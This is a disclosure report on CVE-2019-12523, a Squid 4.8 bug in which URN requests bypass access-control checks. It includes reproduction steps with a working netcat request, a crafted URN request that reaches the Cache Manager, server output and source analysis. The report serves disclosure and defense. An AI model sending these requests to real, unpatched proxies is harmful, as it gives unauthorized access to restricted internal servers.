Squid Cache (IBB): URN Request bypass ACL Checks


## Summary: Attacker can bypass ACL checks gaining access to restricted HTTP servers such as those running on localhost. Attacker could also gain access to CacheManager if VIA header is turned off. Only lines with : will be readable though, and the response must be less than 4096 bytes or it'll trigger the Heap Overflow I reported earlier. This is due to URN request being transformed into HTTP request, and not going through the ACL checks that incoming HTTP request go through. <= Squid-4.8 Vulnerable Fixed in Squid-4.9 Squid Announce: http://www.squid-cache.org/Advisories/SQUID-2019_8.txt Assigned CVE-2019-12523 ## Steps To Reproduce: Enable URN by adding the following entry to Safe_ports ``` acl Safe_ports port 0 # urn ``` Ensure that you're blocking request to localhost ``` http_access deny to_localhost ``` 1) Start Squid ``` ./sbin/squid ``` 2) Start a HTTP server on localhost serving a file that has colons ``` python -m http.server --bind 8080 ``` Contents of hello.html ``` <html> <body> Notice: For localhost only </body> </html> ``` 3) Make the following URN request ``` echo -e "GET urn::@ HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128 HTTP/1.1 302 Found Server: squid/4.8 Mime-Version: 1.0 Date: Thu, 19 Mar 2020 18:11:20 GMT Content-Type: text/html Content-Length: 460 Expires: Thu, 19 Mar 2020 18:11:20 GMT Location: Notice: For localhost only X-Cache: MISS from g64 Via: 1.1 g64 (squid/4.8) Connection: keep-alive <TITLE>Select URL for urn::@</TITLE> <STYLE type="text/css"><!--BODY{background-color:#ffffff;font-family:verdana,sans-serif}--></STYLE> <H2>Select URL for urn::@</H2> <TABLE BORDER="0" WIDTH="100%"> <TR><TD><A HREF=" Notice: For localhost only"> Notice: For localhost only</A></TD><TD align="right">Unknown</TD><TD> </TD></TR> </TABLE><HR noshade size="1px"> <ADDRESS> Generated by squid/4.8@g64 </ADDRESS> ``` ## Analysis URN Request are different than other request coming into Squid. The original URN request is hardly parsed from Anyp::Uri::parse only setting a scheme and path. AnyP::Uri::parse } else if (strncmp(url, "urn:", 4) == 0) { debugs(23, 3, "Split URI '" << url << "' into proto='urn', path='" << (url+4) << "'"); debugs(50, 5, "urn=" << (url+4)); setScheme(AnyP::PROTO_URN, nullptr); path(url + 4); return true; Once it's reached FwdState::Start it arrives in it's own URN code. The original URN request is then transformed into a new HTTP request. UrnState::setUriResFromRequest char *host = getHost(uri); snprintf(local_urlres, 4096, "http://%s/uri-res/N2L?urn:" SQUIDSBUFPH, host, SQUIDSBUFPRINT(uri)); safe_free(host); safe_free(urlres); urlres_r = HttpRequest::FromUrl(local_urlres, r->masterXaction); This new HTTP Request is sent directly to FwdState::Start without going through doCallouts or clientAccessChecks UrnState::created FwdState::Start(Comm::ConnectionPointer(), urlres_e,urlres_r.getRaw(), ale); This allows a user to reach HTTP servers that were meant to be blocked by Squid, e.g. localhost. http://:@ Squid won't be able to callback into itself to access things like Cache Manager since the VIA header will be set. If a Squid server was configured to not send the Via header then this would give a user access to it. Here's a blog post that recommends removing VIA header to remove all Proxy headers https://adamscheller.com/systems-administration/remove-proxy-headers-squid/ If via is off a user could send a request such as below to gain access GET urn::@localhost:3128/squid-internal-mgr/active_requests? HTTP/1.1 Below is the CacheManager getting accessed via this: Breakpoint 2, CacheManager::start (this=0x603000000e80, client=..., request=0x61c00001f880, entry=0x60c00001ff00, ale=...) at cache_manager.cc:307 (gdb) p request->url->absolute_->store_.p_->mem $25 = 0x62900000f200 "http://g64:3128/squid-internal-mgr/active_requests?/uri-res/N2L?urn::@localhost:3128/squid-internal-mgr/active_requests? A user abusing this won't see the full response, since URN handles URLs and looks for :. Therefore they would only see lines containing : Also the current state of URN it's more likely that Squid would crash due to overflows than show the user any data. Once that is fixed this becomes a more reasonable way to leak internal responses. ## Impact Attacker can bypass all ACLs using an URN Request. This allows them to make HTTP GET Request to restricted resources. An attacker will be limited on what they can view from these request. Lines must contain : and the response must be less than 4096 bytes.